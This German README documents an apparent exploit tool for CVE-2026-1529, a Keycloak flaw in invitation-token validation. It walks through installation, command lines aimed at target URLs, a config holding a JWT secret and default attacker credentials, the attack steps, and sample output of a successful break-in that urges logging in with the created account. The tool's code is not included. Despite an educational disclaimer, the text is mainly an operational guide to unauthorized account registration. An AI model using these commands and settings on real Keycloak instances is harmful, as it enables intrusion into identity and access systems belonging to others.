
Keycloak: Nicht autorisierte Organisationsregistrierung durch fehlerhafte Validierung von Einladungstokens
CVE-2026-1529: Keycloak – Nicht autorisierte Organisationsregistrierung durch unsachgemäße Validierung von Einladungstokens
⚠️ WARNUNG: Dieses Tool dient ausschließlich Bildungs- und autorisierten Sicherheitstestzwecken. Unautorisierter Zugriff auf Computersysteme ist illegal.
Dieses Tool demonstriert eine kritische Schwachstelle in Keycloak (CVE-2026-1529), die eine nicht autorisierte Organisationsregistrierung durch unsachgemäße Validierung von JWT-Einladungstokens ermöglicht. Der Exploit manipuliert Einladungstokens, um nicht autorisierten Zugriff auf Keycloak-Instanzen zu erlangen.
Schwachstellendetails:
# Repository klonen
git clone https://github.com/yourusername/cve-2026-1529-exploit.git
cd cve-2026-1529-exploit
# Virtuelle Umgebung erstellen
python3 -m venv venv
source venv/bin/activate # Unter Windows: venv\Scripts\activate
# Abhängigkeiten installieren
pip install -r requirements.txt
# Verzeichnisstruktur erstellen
mkdir -p keycloak-exploit/{utils,config,logs,output/reports}
cd keycloak-exploit
# Dateien aus Releases herunterladen oder manuell kopieren
# Dann Abhängigkeiten installieren
pip install requests urllib3 PyJWT
keycloak-exploit/
├── keycloak-exploit.py # Haupt-Exploit-Skript
├── requirements.txt # Python-Abhängigkeiten
├── README.md # Diese Datei
├── config/
│ └── default_config.json # Konfigurationsdatei
├── utils/
│ ├── __init__.py # Paket-Initialisierer
│ ├── http_utils.py # HTTP-Client-Dienstprogramme
│ ├── jwt_utils.py # JWT-Manipulation
│ └── crypto_utils.py # Krypto-Dienstprogramme
├── logs/ # Automatisch generierte Logs
└── output/
└── reports/ # Exploit-Berichte
python3 keycloak-exploit.py https://target-keycloak.com
# Mit benutzerdefiniertem Einladungstoken
python3 keycloak-exploit.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... https://target.com
# Mit benutzerdefinierter Organisations-ID
python3 keycloak-exploit.py -o custom_org_id https://target.com
# Mit benutzerdefinierter Konfigurationsdatei
python3 keycloak-exploit.py -c /path/to/config.json https://target.com
# Debug-Logging aktivieren
python3 keycloak-exploit.py -d https://target.com
# Hilfe anzeigen
python3 keycloak-exploit.py -h
# Version anzeigen
python3 keycloak-exploit.py -v
| Argument | Kurzform | Beschreibung |
|---|---|---|
target | - | Ziel-Keycloak-URL (erforderlich) |
--token | -t | Benutzerdefiniertes Einladungstoken |
--org-id | -o | Benutzerdefinierte Organisations-ID |
--config | -c | Pfad zur Konfigurationsdatei |
--debug | -d | Debug-Logging aktivieren |
--version | -v | Versionsinformationen anzeigen |
--help | -h | Hilfemeldung anzeigen |
Bearbeiten Sie config/default_config.json, um Exploit-Parameter anzupassen:
{
"exploit": {
"default_username": "admin_user_2026",
"default_password": "KeycloakCVE2026!",
"default_email": "[email protected]",
"timeout": 30,
"max_retries": 3
},
"jwt": {
"algorithm": "HS256",
"secret_key": "keycloak-cve-2026-1529-exploit",
"token_expiry": 3600
},
"target": {
"endpoints": {
"realms": "/realms",
"organizations": "/organizations",
"register": "/register",
"login": "/login"
}
},
"output": {
"log_level": "INFO",
"save_reports": true,
"report_format": "txt"
}
}
| Abschnitt | Parameter | Beschreibung | Standard |
|---|---|---|---|
exploit | default_username | Benutzername für die Registrierung | admin_user_2026 |
exploit | default_password | Passwort für die Registrierung | KeycloakCVE2026! |
exploit | default_email | E-Mail für die Registrierung | [email protected] |
exploit | timeout | HTTP-Request-Timeout (Sekunden) | 30 |
exploit | max_retries | Maximale HTTP-Wiederholungsversuche | 3 |
jwt | algorithm | JWT-Signaturalgorithmus | HS256 |
jwt | secret_key | JWT-Geheimschlüssel | Benutzerdefiniert |
jwt | token_expiry | Token-Ablaufzeit (Sekunden) | 3600 |
Der Exploit funktioniert in den folgenden Schritten:
Schwachstellenprüfung
Token-Generierung/-Manipulation
Benutzerregistrierung
Anmeldeüberprüfung
Berichtserstellung
output/reports/┌─────────────────┐
│ Zielprüfung │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Token Gen/Holen│
└────────┬────────┘
│
▼
┌─────────────────┐
│ Token Manipul. │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Benutzer Regist.│
└────────┬────────┘
│
▼
┌─────────────────┐
│ Anmeldetest │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Bericht Gen. │
└─────────────────┘
============================================================
CVE-2026-1529 EXPLOIT-ERGEBNISSE
============================================================
✓ Ziel ist anfällig für CVE-2026-1529
🎯 EXPLOIT ERFOLGREICH!
Benutzername: admin_user_2026
Passwort: KeycloakCVE2026!
E-Mail: [email protected]
Anmeldelink: https://target.com/realms/master/account
📄 Bericht gespeichert unter: output/reports/exploit_report_20260211_050507.txt
🔐 Verwenden Sie die bereitgestellten Anmeldedaten, um auf die Keycloak-Instanz zuzugreifen!
⚠️ Dies demonstriert nicht autorisierten Zugriff aufgrund von CVE-2026-1529